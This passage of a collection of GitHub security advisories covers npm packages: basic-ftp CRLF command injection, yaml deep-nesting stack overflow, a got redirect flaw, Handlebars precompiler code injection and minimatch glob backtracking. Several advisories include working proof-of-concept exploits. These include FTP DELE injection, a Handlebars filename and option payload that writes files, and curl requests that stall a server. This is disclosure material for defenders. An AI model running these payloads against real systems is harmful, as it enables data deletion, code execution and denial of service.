else if (line.startsWith(\u0027TYPE\u0027)) conn.write(\u0027200 OK\\r\\n\u0027);\n else if (line.startsWith(\u0027PWD\u0027)) conn.write(\u0027257 \"/\"\\r\\n\u0027);\n else if (line.startsWith(\u0027OPTS\u0027)) conn.write(\u0027200 OK\\r\\n\u0027);\n else if (line.startsWith(\u0027STRU\u0027)) conn.write(\u0027200 OK\\r\\n\u0027);\n else if (line.startsWith(\u0027CWD\u0027)) conn.write(\u0027250 OK\\r\\n\u0027);\n else if (line.startsWith(\u0027DELE\u0027)) conn.write(\u0027250 Deleted\\r\\n\u0027);\n else if (line.startsWith(\u0027QUIT\u0027)) { conn.write(\u0027221 Bye\\r\\n\u0027); conn.end(); }\n else conn.write(\u0027200 OK\\r\\n\u0027);\n }\n });\n});\nserver.listen(2121, () =\u003e console.log(\u0027[*] Mock FTP on port 2121\u0027));\n```\n\n**Exploit (poc.js):**\n\n```javascript\nconst ftp = require(\u0027basic-ftp\u0027);\n\nasync function exploit() {\n const client = new ftp.Client();\n client.ftp.verbose = true;\n try {\n await client.access({\n host: \u0027127.0.0.1\u0027,\n port: 2121,\n user: \u0027anonymous\u0027,\n password: \u0027anonymous\u0027\n });\n\n // Attack 1: Inject DELE command via cd()\n // Intended: CWD harmless.txt\n // Actual: CWD harmless.txt\\r\\nDELE /important-file.txt\n const maliciousPath = \"harmless.txt\\r\\nDELE /important-file.txt\";\n console.log(\u0027\\n=== Attack 1: DELE injection via cd() ===\u0027);\n try { await client.cd(maliciousPath); } catch(e) {}\n\n // Attack 2: Double DELE via remove()\n const maliciousPath2 = \"decoy.txt\\r\\nDELE /secret-data.txt\";\n console.log(\u0027\\n=== Attack 2: DELE injection via remove() ===\u0027);\n try { await client.remove(maliciousPath2); } catch(e) {}\n\n } finally {\n client.close();\n }\n}\nexploit();\n```\n\n**Running the PoC:**\n\n```bash\n# Terminal 1: Start mock FTP server\nnode ftp-server-mock.js\n\n# Terminal 2: Run exploit\nnode poc.js\n```\n\n**Expected output on mock server:**\n\n```\n\"OPTS UTF8 ON\"\n\"USER anonymous\"\n\"PASS anonymous\"\n\"FEAT\"\n\"TYPE I\"\n\"STRU F\"\n\"OPTS UTF8 ON\"\n\"CWD harmless.txt\"\n\"DELE /important-file.txt\" \u003c-- injected from cd()\n\"DELE decoy.txt\"\n\"DELE /secret-data.txt\" \u003c-- injected from remove()\n\"QUIT\"\n```\n\nThis command trace was reproduced against the published `basic-ftp@5.2.0`\npackage on Linux with a local mock FTP server. The injected `DELE` commands are\nreceived as distinct FTP commands, confirming that CRLF inside path parameters\nis not neutralized before socket write.\n\n## Mitigation\n\n**Immediate workaround**: Sanitize all path inputs before passing them to basic-ftp:\n\n```javascript\nfunction sanitizeFtpPath(path) {\n if (/[\\r\\n]/.test(path)) {\n throw new Error(\u0027Invalid FTP path: contains control characters\u0027);\n }\n return path;\n}\n\n// Usage\nawait client.cd(sanitizeFtpPath(userInput));\n```\n\n**Recommended fix for basic-ftp**: The `protectWhitespace()` function (or a new validation layer) should reject or strip `\\r` and `\\n` characters from all path inputs:\n\n```javascript\nasync protectWhitespace(path) {\n // Reject CRLF injection attempts\n if (/[\\r\\n\\0]/.test(path)) {\n throw new Error(\u0027Invalid path: contains control characters\u0027);\n }\n if (!path.startsWith(\" \")) {\n return path;\n }\n const pwd = await this.pwd();\n const absolutePathPrefix = pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n return absolutePathPrefix + path;\n}\n```\n\n## References\n\n- [npm package: basic-ftp](https://www.npmjs.com/package/basic-ftp)\n- [GitHub repository](https://github.com/patrickjuchli/basic-ftp)\n- [Vulnerable source: Client.js protectWhitespace()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/Client.ts)\n- [Vulnerable source: FtpContext.js send()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/FtpContext.ts)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [OWASP: CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)",
"id": "GHSA-chqc-8p9q-pq6q",
"modified": "2026-04-09T19:06:10Z",
"published": "2026-04-08T20:02:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39983"
},
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4b"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickjuchli/basic-ftp"
},
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "basic-ftp has FTP Command Injection via CRLF"
}
GHSA-48C2-RRV3-QJMP
Vulnerability from github – Published: 2026-03-25 20:08 – Updated: 2026-03-27 21:34Parsing a YAML document with yaml may throw a RangeError due to a stack overflow.
The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a RangeError: Maximum call stack size exceeded with a small payload (~2–10 KB). The RangeError is not a YAMLParseError, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process.
Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one [ and one ]). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).
Note: the library's Parser (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.
All three public parsing APIs are affected: YAML.parse(), YAML.parseDocument(), and YAML.parseAllDocuments().
PoC
const YAML = require('yaml');
// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);
try {
YAML.parse(payload);
} catch (e) {
console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
console.log(e.message); // Maximum call stack size exceeded
}
Test environment: Node.js v24.12.0, macOS darwin arm64
| Version | Nesting Depth | Input Size | Result |
|---|---|---|---|
| 1.0.0 | 5,000 | 10,001 B | RangeError |
| 1.10.2 | 5,000 | 10,001 B | RangeError |
| 2.0.0 | 5,000 | 10,001 B | RangeError |
| 2.8.2 | 5,000 | 10,001 B | RangeError |
| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |
Depth threshold on yaml 2.8.2:
| Nesting Depth | Input Size | Result |
|---|---|---|
| 500 | 1,001 B | Parses successfully |
| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |
| 5,000 | 10,001 B | RangeError |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "yaml"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.8.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "yaml"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33532"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T20:08:24Z",
"nvd_published_at": "2026-03-26T20:16:15Z",
"severity": "MODERATE"
},
"details": "Parsing a YAML document with `yaml` may throw a RangeError due to a stack overflow.\n\nThe node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2\u201310 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application\u0027s exception handling, this can fail requests or terminate the Node.js process.\n\nFlow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000\u20135,000 levels of nesting (2\u201310 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).\n\nNote: the library\u0027s `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.\n\nAll three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`.\n\n### PoC\n\n```javascript\nconst YAML = require(\u0027yaml\u0027);\n\n// ~10 KB payload: 5000 levels of nested flow sequences\nconst payload = \u0027[\u0027.repeat(5000) + \u00271\u0027 + \u0027]\u0027.repeat(5000);\n\ntry {\n YAML.parse(payload);\n} catch (e) {\n console.log(e.constructor.name); // RangeError (NOT YAMLParseError)\n console.log(e.message); // Maximum call stack size exceeded\n}\n```\n\nTest environment: Node.js v24.12.0, macOS darwin arm64\n\n| Version | Nesting Depth | Input Size | Result |\n|---|---|---|---|\n| 1.0.0 | 5,000 | 10,001 B | RangeError |\n| 1.10.2 | 5,000 | 10,001 B | RangeError |\n| 2.0.0 | 5,000 | 10,001 B | RangeError |\n| 2.8.2 | 5,000 | 10,001 B | RangeError |\n| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |\n\nDepth threshold on yaml 2.8.2:\n\n| Nesting Depth | Input Size | Result |\n|---|---|---|\n| 500 | 1,001 B | Parses successfully |\n| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |\n| 5,000 | 10,001 B | RangeError |",
"id": "GHSA-48c2-rrv3-qjmp",
"modified": "2026-03-27T21:34:51Z",
"published": "2026-03-25T20:08:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/security/advisories/GHSA-48c2-rrv3-qjmp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33532"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/commit/1e84ebbea7ec35011a4c61bbb820a529ee4f359b"
},
{
"type": "PACKAGE",
"url": "https://github.com/eemeli/yaml"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/releases/tag/v1.10.3"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/releases/tag/v2.8.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "yaml is vulnerable to Stack Overflow via deeply nested YAML collections"
}
GHSA-PFRX-2Q88-QQ97
Vulnerability from github – Published: 2022-06-19 00:00 – Updated: 2022-07-05 21:24The got package before 11.8.5 and 12.1.0 for Node.js allows a redirect to a UNIX socket.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "got"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "got"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.8.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-33987"
],
"database_specific": {
"cwe_ids": [],
"github_reviewed": true,
"github_reviewed_at": "2022-06-21T20:05:25Z",
"nvd_published_at": "2022-06-18T21:15:00Z",
"severity": "MODERATE"
},
"details": "The got package before 11.8.5 and 12.1.0 for Node.js allows a redirect to a UNIX socket.",
"id": "GHSA-pfrx-2q88-qq97",
"modified": "2022-07-05T21:24:52Z",
"published": "2022-06-19T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33987"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/got/pull/2047"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/got/commit/861ccd9ac2237df762a9e2beed7edd88c60782dc"
},
{
"type": "PACKAGE",
"url": "https://github.com/sindresorhus/got"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/got/compare/v12.0.3...v12.1.0"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/got/releases/tag/v11.8.5"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/got/releases/tag/v12.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Got allows a redirect to a UNIX socket"
}
GHSA-XJPJ-3MR7-GCPF
Vulnerability from github – Published: 2026-03-27 18:22 – Updated: 2026-03-30 20:08Summary
The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.
Description
lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:
1. Template name injection
// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';
template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.
2. Namespace injection (-n / --namespace)
// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';
opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.
3. CommonJS path injection (-c / --commonjs)
// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';
opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.
4. AMD path injection (-h / --handlebarPath)
// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";
opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.
All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.
Proof of Concept
Template name vector (creates a file pwned on disk):
mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"
node bin/handlebars templates -o out.js
node -e 'require("./out.js")' # Executes injected code, creates ./pwned
Namespace vector:
node bin/handlebars templates -o out.js \
-n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'
CommonJS vector:
node bin/handlebars templates -o out.js \
-c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'
AMD vector:
node bin/handlebars templates -o out.js -a \
-h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'
Workarounds
- Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (
",',;, etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
- Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
- Audit template filenames in any repository or package that is consumed by an automated build pipeline.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33941"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:22:10Z",
"nvd_published_at": "2026-03-27T22:16:21Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings \u2014 template file names and several CLI options \u2014 directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027templates[\"\u0027 + template.name + \u0027\"] = template(...)\u0027;\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `\u0027];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var templates = \u0027 + opts.namespace + \u0027 = \u0027 + opts.namespace + \u0027 || {};\u0027;\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var Handlebars = require(\"\u0027 + opts.commonjs + \u0027\");\u0027;\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define([\u0027\" + opts.handlebarPath + \"handlebars.runtime\u0027], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `\u0027` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf \u0027Hello\u0027 \u003e \"templates/evil\u0027] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e \u0027require(\"./out.js\")\u0027 # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -n \"App.ns; require(\u0027fs\u0027).writeFileSync(\u0027pwned2\u0027,\u00271\u0027); //\"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -c \u0027handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //\u0027\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n -h \"\u0027); require(\u0027fs\u0027).writeFileSync(\u0027pwned4\u0027,\u00271\u0027); // \"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`\"`, `\u0027`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.",
"id": "GHSA-xjpj-3mr7-gcpf",
"modified": "2026-03-30T20:08:52Z",
"published": "2026-03-27T18:22:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33941"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options"
}
GHSA-7R86-CG39-JMMJ
Vulnerability from github – Published: 2026-02-26 22:10 – Updated: 2026-02-26 22:10Summary
matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in matchOne() at src/index.ts#L960:
while (fr < fl) {
..
if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
..
return true
}
..
fr++
}
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time |
|---|---|---|
| 7 | 36 bytes | ~154ms |
| 9 | 46 bytes | ~1.2s |
| 11 | 56 bytes | ~5.4s |
| 12 | 61 bytes | ~9.7s |
| 13 | 66 bytes | ~15.9s |
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
To scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path = Array(30).fill('a').join('/')
minimatch(path, pattern)
No special options are required. This reproduces with the default minimatch() call.
Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})
server.listen(PORT)
Terminal 1 -- start the server:
node poc1-server.mjs
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
Observed output (Terminal 3):
{"result":true,"ms":"0"}
time_total: 4.132709s
The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:
{"result":true,"ms":"0"}
time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27903"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:10:18Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.\n\n---\n\n### Details\n\nThe vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):\n\n```typescript\nwhile (fr \u003c fl) {\n ..\n if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {\n ..\n return true\n }\n ..\n fr++\n}\n```\n\nWhen a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).\n\nThere is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.\n\nMeasured timing with n=30 path segments:\n\n| k (globstars) | Pattern size | Time |\n|---------------|--------------|----------|\n| 7 | 36 bytes | ~154ms |\n| 9 | 46 bytes | ~1.2s |\n| 11 | 56 bytes | ~5.4s |\n| 12 | 61 bytes | ~9.7s |\n| 13 | 66 bytes | ~15.9s |\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- inline script**\n\n```javascript\nimport { minimatch } from \u0027minimatch\u0027\n\n// k=9 globstars, n=30 path segments\n// pattern: 46 bytes, default options\nconst pattern = \u0027**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b\u0027\nconst path = \u0027a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a\u0027\n\nconst start = Date.now()\nminimatch(path, pattern)\nconsole.log(Date.now() - start + \u0027ms\u0027) // ~1200ms\n```\n\nTo scale the effect, increase k:\n\n```javascript\n// k=11 -\u003e ~5.4s, k=13 -\u003e ~15.9s\nconst k = 11\nconst pattern = Array.from({ length: k }, () =\u003e \u0027**/a\u0027).join(\u0027/\u0027) + \u0027/b\u0027\nconst path = Array(30).fill(\u0027a\u0027).join(\u0027/\u0027)\nminimatch(path, pattern)\n```\n\nNo special options are required. This reproduces with the default `minimatch()` call.\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nThe following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:\n\n```javascript\n// poc1-server.mjs\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3000\n\nconst server = http.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n if (url.pathname !== \u0027/match\u0027) { res.writeHead(404); res.end(); return }\n\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n})\n\nserver.listen(PORT)\n```\n\nTerminal 1 -- start the server:\n```\nnode poc1-server.mjs\n```\n\nTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:\n```\ncurl 